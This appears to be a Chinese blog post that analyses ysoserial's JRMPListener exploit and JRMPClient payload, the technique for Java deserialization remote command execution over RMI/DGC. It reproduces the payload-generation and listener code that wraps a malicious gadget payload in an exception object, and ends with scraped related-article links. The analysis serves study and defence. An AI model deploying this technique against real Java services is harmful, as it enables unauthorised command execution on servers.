ysoserial exploit/JRMPListener原理剖析

  • 0 前言
  • 1 payloads/JRMPClient
    • 1.1 Externalizable
    • 1.2 生成payload
    • 1.3 gadget链分析
  • 2 exploit/JRMPListener
  • 3 总结

0 前言

上一篇文章讲了ysoserial exploit/JRMPClient的原理,本篇接着讲一下ysoserial exploit/JRMPListener的原理,相同的思路,我们结合着payloads/JRMPClient来分析。JRMPListener的攻击流程如下:
1、攻击方在自己的服务器使用exploit/JRMPListener开启一个rmi监听

2、往存在漏洞的服务器发送payloads/JRMPClient,payload中已经设置了攻击者服务器ip及JRMPListener监听的端口,漏洞服务器反序列化该payload后,会去连接攻击者开启的rmi监听,在通信过程中,攻击者服务器会发送一个可执行命令的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。

1 payloads/JRMPClient

1.1 Externalizable

在讲payloads/JRMPClient之前,我们先讲一下Externalizable,这是java提供的一个接口,实现该接口的类就具备了可序列化功能,下面总结一下它和Serializable接口的一些相同点与不同点:
1、实现Externalizable接口的类必须重写writeExternal(ObjectOutput out)和readExternal(ObjectInput in)两个方法,在这两个方法中可以自定义序列化和反序列化规则,而实现Serializable接口的类没有需要强制实现的方法。
2、假设类中有些敏感数据,我不希望在网络上传输该对象的序列化数据中包含该敏感数据,两种接口都可以实现:
(1)Externalizable接口,在实现writeExternal(ObjectOutput out)方法时,不对敏感数据进行序列化就可以
(2)Serializable接口,使用transient关键字修饰敏感字段,则该字段将不会被序列化。
对比一下,使用transient关键字修饰其实更方便。
3、两个各有特点,只能是根据不同的业务需求去选择使用。
下面我写了一个关于Externalizable的测试类,来进一步理解Externalizable:

public class Person implements Externalizable {private String username; //用户名private String password; //密码public String getUsername() {return username;}public void setUsername(String username) {this.username = username;}public String getPassword() {return password;}public void setPassword(String password) {this.password = password;}//在序列化Person对象时,只序列化username属性@Overridepublic void writeExternal(ObjectOutput out) throws IOException {System.out.println("writeExternal is running ...");out.writeObject(username);out.close();}//反序列化Person对象时,只反序列化username属性@Overridepublic void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {this.username = (String)in.readObject();System.out.println("readExternal is running ...");}//测试public static void main(String[] args) throws Exception {//如下代码将person对象设值后进行序列化,序列化后的数据存于字节流中ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);Person person = new Person();person.setUsername("zs");person.setPassword("123456");person.writeExternal(oos);//如下代码从字节流中获取序列化数据并对其进行反序列化ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Person person2 = new Person();person2.readExternal(ois);System.out.println("username=" + person2.username + " passowrd=" + person2.password);//结果为username=zs passowrd=null}
}

1.2 生成payload

以下为payloads/JRMPClient生成payload的代码,我添加了注释,其中通信所需的信息在后面分析中我们会看到其具体的作用。

public Registry getObject ( final String command ) throws Exception {String host;int port;//命令行获取ip值与端口值int sep = command.indexOf(':');if ( sep < 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}//以下信息都是连接JRMPListener通信所需信息ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);//这就是构造的payload,创建了一个Registry类型的代理对象,handler值为上面创建的RemoteObjectInvocationHandlerRegistry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {Registry.class}, obj);return proxy;}

1.3 gadget链分析

如下为作者给出的gadget链,可以看到有两部分,其实就是在DGCClient.registerRefs(Endpoint, List<LiveRef>)方法中,有两个方法调用,且都对反向连接JRMPListener有作用,后面调试时可以看到。

1、根据上面的gadget链,我们就在UnicastRef.readExternal(ObjectInput)方法中设置断点:

2、跟入LiveRef.read(ObjectInput var0, boolean var1)方法,可以看到通过反序列化获取到了在生成payload时,创建的TCPEndpoint(包含要建立socket通信的ip地址与端口号)、ObjID对象(对象唯一标识),并使用这两个对象生成了LiveRef对象(该对象的具体作用没进行分析)。

3、继续跟入到DGCClient.registerRefs(Endpoint, List<LiveRef>),这里就是上面给出的gadget链中出现两个分支的地方:

4、先进入DGCClient$EndpointEntry.lookup(Endpoint)方法:

5、继续跟入DGCClient$EndpointEntry构造方法,可以看到使用前面创建的TCPEndpoint与DgcID创建了LiveRef对象,并且生成了DGCImpl_Stub代理对象,到了这里就明白了, 其实payloads/JRMPClient也是通过DGC通信,进而反序列化恶意payload的 。最后一行代码就是创建与JRMPListener的Socket通信,由单独的线程负责:

6、DGCClient$EndpointEntry.lookup(Endpoint)分支分析完了,然后进入DGCClient$EndpointEntry.registerRefs(List<LiveRef>)分支如下,代码较长,而且不重要,这里就不贴了,直接到最后一行:

7、进入DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)方法,还是直接到如下断点位置:

8、由于下一步调用的是DGCImpl_Stub.dirty(ObjID[], long, Lease)方法,前面我们也遇到过,DGCImpl_Stub类是无法调试的,于是直接查看源码,终于看到了熟悉的一幕,前面已经详细分析过了,这里就总结一下,第一个红框是交换一些信息,说明本次是远程调用,第二红框依然是发送一些数据,第三个框是处理响应数据。

9、到了这里后面的流程也很熟悉了,及时不调试,也能猜测到JRMPListener响应的恶意payload只能在下面两个地方触发:
(1)当响应的payload为异常类时,在UnicastRef.invoke(java.rmi.server.RemoteCall)方法中的StreamRemoteCall.executeCall()方法中触发的,如下,应该还记得,case1是正常,直接return,case2是发生异常时,这里会将异常对象反序列化:

(2)当响应的类为正常类时,则就在第八步图中的第四个红框中进行反序列化。
这里后面通过调试,发现是第一种情况,也就是JRMPListener响应回来的是一个异常类,就不贴图了,后面就分析一下exploit/JRMPListener

2 exploit/JRMPListener

由于这里代码量较多,因此就不一行一行写注释了,而且大部分都是通信中交换数据的,之前也分析过,这里就略过通信过程,直接挑一部分重点代码进行分析:

private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {ObjectInputStream ois = new ObjectInputStream(in) {ObjID read;try {//这里读取到的是JRMPClient端发送的DgcIDread = ObjID.read(ois);} catch (java.io.IOException e) {throw new MarshalException("unable to read objID", e);}//这里如果判断是否为Dgc调用,DgcID为[0:0:0, 2]if (read.hashCode() == 2) {ois.readInt(); // methodois.readLong(); // hashSystem.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));}System.err.println("Sending return with payload for obj " + read);//这里发送81,也是为了防止JRMPClient抛出transport return code invalid异常out.writeByte(TransportConstants.Return);// transport opObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);//这里发送2,就会进入分析JRMPClient时的第九步中第一种情况的case2中oos.writeByte(TransportConstants.ExceptionalReturn);new UID().write(oos);//这里生成了一个异常类,其中包含一个Object类型的属性,名为valBadAttributeValueExpException ex = new BadAttributeValueExpException(null);//这里将恶意payload赋值给了val属性,在反序列化BadAttributeValueExpException类时,val值也会被反序列化,从而触发命令执行Reflections.setFieldValue(ex, "val", payload);//将payload发往JRMPClient端,payload会被反序列化oos.writeObject(ex);oos.flush();out.flush();this.hadConnection = true;synchronized (this.waitLock) {this.waitLock.notifyAll();}}

如上代码注释写的很清楚了,这里也明白了在分析payloads/JRMPClient时的第九步中为什么会进入case2。

3 总结

1、如果RMIClient请求RMIServer时的ip地址和端口号是攻击者可控的,则都可以使用exploit/JRMPListener进行攻击(其是通过dgc通信进行攻击),例如RMIClient执行如下代码连接到JRMPListener,即可遭受攻击:

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
Object obj = registry.lookup("xxx");

2、在一些特殊情况下,可以结合payloads/JRMPClient进行攻击。

ysoserial exploit/JRMPListener原理剖析相关推荐

  1. java 反序列化 ysoserial exploit/JRMPListener 原理剖析

    目录 0 前言 1 payloads/JRMPClient 1.1 Externalizable 1.2 生成payload 1.3 gadget链分析 2 exploit/JRMPListener ...

  2. java 反序列化 ysoserial exploit/JRMPClient 原理剖析

    目录 0 前言 1 payloads/JRMPListener 1.1 payload生成 1.2 gadget链分析 2 使用RMIRegistryExploit攻击上述开启的监听 3 exploi ...

  3. socket之send和recv原理剖析

    socket之send和recv原理剖析 1. 认识TCP socket的发送和接收缓冲区 当创建一个TCP socket对象的时候会有一个发送缓冲区和一个接收缓冲区,这个发送和接收缓冲区指的就是内存 ...

  4. fastText的原理剖析

    fastText的原理剖析 1. fastText的模型架构 fastText的架构非常简单,有三层:输入层.隐含层.输出层(Hierarchical Softmax) 输入层:是对文档embeddi ...

  5. lua游戏脚本实例源码_Lua与其他宿主语言交互原理剖析

    Lua与其他宿主语言交互原理剖析 题外话:今天周末,刚好在家有时间就把我这次项目组内部分享的文章贴出来,分享给大家,同时也方便以后自己翻阅. 一. Lua简介 目标:Lua语言本身是用C语言来编写开发 ...

  6. Go语言底层原理剖析

    作者:郑建勋 出版社:电子工业出版社 品牌:博文视点 出版时间:2021-08-01 Go语言底层原理剖析

  7. 彻底搞透视觉三维重建:原理剖析、代码讲解、及优化改进

    视觉三维重建 = 定位定姿 + 稠密重建 + surface reconstruction +纹理贴图.三维重建技术是计算机视觉的重要技术之一,基于视觉的三维重建技术通过深度数据获取.预处理.点云配准 ...

  8. Elasticsearch分布式一致性原理剖析(一)-节点篇

    2019独角兽企业重金招聘Python工程师标准>>> 摘要: ES目前是最流行的开源分布式搜索引擎系统,其使用Lucene作为单机存储引擎并提供强大的搜索查询能力.学习其搜索原理, ...

  9. 统计学习方法|支持向量机(SVM)原理剖析及实现

    欢迎直接到我的博客查看最近文章:www.pkudodo.com.更新会比较快,评论回复我也能比较快看见,排版也会更好一点. 原始blog链接: http://www.pkudodo.com/2018/ ...

  10. 统计学习方法|逻辑斯蒂原理剖析及实现

    欢迎直接到我的博客查看最近文章:www.pkudodo.com.更新会比较快,评论回复我也能比较快看见,排版也会更好一点. 原始blog链接: http://www.pkudodo.com/2018/ ...

最新文章

  1. Nginx 代理 WebSocket
  2. pythonclass全局变量_python怎么使用全局变量
  3. 一位非常要好的朋友,零基础转行 Python!
  4. 新闻 | 聚焦技术领域现状与发展阿里巴巴知识图谱专场亮相云栖大会 阿里知识图谱亮相云栖大会产学深度交流推进业务创新
  5. JavaScript高级使用(一)--参数Arguments对象
  6. 计算机屏幕怎么设置键盘,[怎么用屏幕键盘]怎么用键盘调屏幕分辨率
  7. 花间一壶酒之杂文杂谈
  8. iOS开发--AVPlayer实现音乐播放器
  9. 理解opencv读取图片后的格式,理解图片矩阵的储存方式
  10. 高景一号01星遥感影像解译数据分辨率是多少
  11. Gin显示静态文件如图片,音频
  12. 微信点击按钮关闭当前页面回到微信对话窗口
  13. db2 删除索引_史上最牛分析MySQL索引机制的实现!不接受反驳!
  14. Python模拟二维码登录百度
  15. 人工智能学习路线 及 学习资源
  16. 对话系统论文集(1)-BBQ网络
  17. Spark中,RDD概述(五大属性,弹性介绍,5个特性)
  18. 微信小程序图片宽度100%,高度自适应
  19. linux云计算方向毕业设计,云计算毕业设计.doc
  20. php获取12306余票,获取12306余票信息

热门文章

  1. Unicode中文和特殊字符的编码范围 及部分正则
  2. cad打印去掉边框_CAD中图片的边框怎么去除? - CAD自学网
  3. 关闭Postman v5.0自动更新
  4. UDID获取的方法(Iphone,Ipad,Mac,Window都可以)
  5. 编译go版本的supervisord
  6. UltraCompare 21 for Mac(mac文本对比工具)
  7. Php区分自然量跟aso量,ASO优化——判断下载量与评论的比例关系
  8. OpenGL 纹理映射(贴图) 学习
  9. TF卡格式化8G格式化时候变成128KB的解决办法
  10. 《会计学》的简单了解